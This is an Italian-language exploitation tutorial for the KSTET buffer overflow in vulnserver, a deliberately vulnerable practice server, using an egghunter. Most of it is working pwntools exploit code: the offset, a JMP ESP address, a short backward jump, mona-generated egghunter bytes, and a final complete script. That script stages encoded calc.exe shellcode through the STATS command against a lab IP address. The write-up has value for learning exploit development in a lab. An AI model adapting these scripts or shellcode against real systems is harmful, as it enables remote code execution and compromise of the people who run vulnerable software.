Salterò la parte in cui si calcola l’offset in cui viene sovrascritto EIP e mi focalizzerò sull’egghunt.

Il bufferoverflow si triggera con il comando KSTET. Dopo 70 bytes EIP viene sovrascritto da 0x42424242 (vanilla EIP overwrite).

Dopo il crash la situazione è la seguente:

CRASH

EIP viene sovrascritto dopo 70 bytes e ci sono altri 70 bytes di spazio per lo shellcode prima che venga sovrascritto. Dopo la sovrascrittura di EIP ci sono 20 bytes poi lo shellcode viene troncato. Si noti come ESP punta alle C. Lo spazio totale dello shellcode (90 bytes) non è sufficiente a contenere un payload realistico quindi si ricorre ad egghunter.

L’exploitation con egghunter si divide in 2 fasi: Se il programma offre una funzione, un comando aggiuntivo che permette di ricevere un input più grande di 90 bytes e di immagazzinarlo da qualche parte in memoria (prima fase), sarà possibile sfruttare una seconda fase inviando l’egghunter e andando ad occupare i 90 bytes che hanno appena causato il crash di vulnserver e rimandare così l’esecuzione allo shellcode della prima fase.

Di seguito lo script:

#!/usr/local/bin/python3

import pwn

target = "172.16.145.135"
port = 9999

# pattern = pwn.cyclic(4000)                       # pattern creator

offset = pwn.cyclic_find(pwn.p32(0x61736161))      # 70
print('[+] OFFSET: ' + str(offset))

total_len = 4000
buffer = b"A" * 70 + b"BBBB" + b"C" * (total_len - 74)

conn = pwn.remote(target, port)
conn.recvline()

print('[+] Invio shellcode stage 1, marker: favafava')
shellcode = b"D" * 600
conn.send(b"STATS " + b"favafava" + shellcode)
conn.close() # occorre chiudere la connessione altrimenti lo shellcode verrà troncato.

conn = pwn.remote(target, port)
conn.recvline()
print('[+] Invio egghunter stage 2')
conn.send(b"KSTET " + buffer)
conn.close()

Successivamente è possibile simulare un egghunter con l’ausilio di mona:

!mona find -type asc -s "fava"

Tasto destro > Dump at address:

Lo shellcode di 600 bytes è stato salvato in memoria, è possibile utilizzare l’egghunter per cercare l’egg “favafava”.

Tralascerò la parte dei badcharacters considerando solo 0x00.

Al momento del crash ESP punta alle C situate all’interno della memoria. Sovrascrivendo EIP con l’indirizzo di una istruzione JMP ESP, è possibile spostare l’esecuzione in quella parte di memoria, che però è piccola per contenere l’egghunter ma abbastanza grande per poter fare un salto indietro alle A che saranno sostituite con l’egghunter.

Si inizia col cercare un’istruzione JMP ESP tramite mona:

!mona jmp -r ESP
JMP ESP: 0x625011AF

A questo punto devo sostituire le C con un JMP SHORT (EB) indietro di 72 bytes (B6) per rimandare l’esecuzione dove adesso sono situate le A: 0x9090b6eb.

Nota: negli appunti di SEH, il JMP SHORT è spiegato un po’ più in dettaglio.

A questo link uno script per calcolarlo: https://github.com/h0mbre/Offset

Lo script diventa come segue, ho sostituito le A con l’opcode per il breakpoint \xcc:

#!/usr/local/bin/python3

import pwn

target = "172.16.145.135"
port = 9999

# pattern = pwn.cyclic(4000)                              # pattern creator

offset = pwn.cyclic_find(pwn.p32(0x61736161))             # 70
print('[+] OFFSET: ' + str(offset))

total_len = 4000
jmp_esp = pwn.p32(0x625011AF)
jmp_short = pwn.p32(0x9090b6eb)
buffer = b"\xcc" * 70 + jmp_esp + jmp_short + b"C" * (total_len - 70 - 4 - 4)

conn = pwn.remote(target, port)
conn.recvline()

print('[+] Invio shellcode stage 1, marker: favafava')
shellcode = b"D" * 600
conn.send(b"STATS " + b"favafava" + shellcode)
conn.close()

conn = pwn.remote(target, port)
conn.recvline()
print('[+] Invio egghunter stage 2')
conn.send(b"KSTET " + buffer)

Di seguito l’esecuzione del programma è stata reindirizzata ai breakpoints:

A questo punto non resta che generare l’egghunter con mona:

!mona egg -t fava
egghunter  = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x66\x61\x76\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

La struttura del payload diventa:

NOPS + EGGHUNTER + NOPS + JUMP ESP + JUMP SHORT + C

E lo shellcode sara:

EGG + SHELLCODE

Di seguito lo script completo:

#!/usr/local/bin/python3

import pwn

calc =  b""
calc += b"\x89\xe5\xdb\xd4\xd9\x75\xf4\x5e\x56\x59\x49\x49\x49"
calc += b"\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
calc += b"\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
calc += b"\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
calc += b"\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
calc += b"\x4a\x49\x4b\x4c\x5a\x48\x4d\x52\x53\x30\x55\x50\x53"
calc += b"\x30\x55\x30\x4b\x39\x5a\x45\x36\x51\x49\x50\x43\x54"
calc += b"\x4c\x4b\x56\x30\x36\x50\x4c\x4b\x56\x32\x34\x4c\x4c"
calc += b"\x4b\x56\x32\x44\x54\x4c\x4b\x43\x42\x46\x48\x54\x4f"
calc += b"\x38\x37\x50\x4a\x56\x46\x56\x51\x4b\x4f\x4e\x4c\x57"
calc += b"\x4c\x43\x51\x33\x4c\x45\x52\x46\x4c\x57\x50\x59\x51"
calc += b"\x48\x4f\x44\x4d\x45\x51\x58\x47\x4d\x32\x5a\x52\x56"
calc += b"\x32\x50\x57\x4c\x4b\x50\x52\x34\x50\x4c\x4b\x50\x4a"
calc += b"\x47\x4c\x4c\x4b\x30\x4c\x32\x31\x44\x38\x4a\x43\x30"
calc += b"\x48\x55\x51\x4e\x31\x50\x51\x4c\x4b\x46\x39\x51\x30"
calc += b"\x55\x51\x58\x53\x4c\x4b\x50\x49\x44\x58\x5a\x43\x37"
calc += b"\x4a\x37\x39\x4c\x4b\x56\x54\x4c\x4b\x45\x51\x48\x56"
calc += b"\x36\x51\x4b\x4f\x4e\x4c\x39\x51\x38\x4f\x44\x4d\x53"
calc += b"\x31\x59\x57\x37\x48\x4d\x30\x44\x35\x4a\x56\x45\x53"
calc += b"\x53\x4d\x4c\x38\x57\x4b\x33\x4d\x57\x54\x44\x35\x4d"
calc += b"\x34\x56\x38\x4c\x4b\x46\x38\x36\x44\x33\x31\x48\x53"
calc += b"\x32\x46\x4c\x4b\x34\x4c\x30\x4b\x4c\x4b\x51\x48\x55"
calc += b"\x4c\x55\x51\x39\x43\x4c\x4b\x53\x34\x4c\x4b\x45\x51"
calc += b"\x4e\x30\x4b\x39\x30\x44\x56\x44\x31\x34\x31\x4b\x51"
calc += b"\x4b\x53\x51\x56\x39\x51\x4a\x36\x31\x4b\x4f\x4b\x50"
calc += b"\x51\x4f\x31\x4f\x51\x4a\x4c\x4b\x55\x42\x4a\x4b\x4c"
calc += b"\x4d\x31\x4d\x43\x5a\x45\x51\x4c\x4d\x4d\x55\x58\x32"
calc += b"\x55\x50\x45\x50\x43\x30\x36\x30\x43\x58\x56\x51\x4c"
calc += b"\x4b\x52\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4c\x30"
calc += b"\x4e\x55\x4e\x42\x50\x56\x45\x38\x4f\x56\x4c\x55\x4f"
calc += b"\x4d\x4d\x4d\x4b\x4f\x58\x55\x47\x4c\x54\x46\x53\x4c"
calc += b"\x35\x5a\x4b\x30\x4b\x4b\x4d\x30\x53\x45\x45\x55\x4f"
calc += b"\x4b\x50\x47\x42\x33\x42\x52\x52\x4f\x42\x4a\x55\x50"
calc += b"\x51\x43\x4b\x4f\x38\x55\x55\x33\x55\x31\x52\x4c\x55"
calc += b"\x33\x46\x4e\x32\x45\x43\x48\x43\x55\x45\x50\x41\x41"

target = "172.16.145.135"
port = 9999

# pattern = pwn.cyclic(4000)                              # pattern creator

offset = pwn.cyclic_find(pwn.p32(0x61736161))             # 70
print('[+] OFFSET: ' + str(offset))

total_len = 4000
jmp_esp = pwn.p32(0x625011AF)
jmp_short = pwn.p32(0x9090b6eb)

egghunter  = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x66\x61\x76\x61\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
buffer = b"\x90" * 10 + egghunter + b"\x90" * (offset - 10 - len(egghunter)) + jmp_esp + jmp_short + b"C" * (total_len - 70 - 4 - 4)

conn = pwn.remote(target, port)
conn.recvline()

print('[+] Invio shellcode stage 1, marker: favafava')
conn.send(b"STATS " + b"favafava" + calc)
conn.close()

conn = pwn.remote(target, port)
conn.recvline()
print('[+] Invio egghunter stage 2')
conn.send(b"KSTET " + buffer)
calc.exe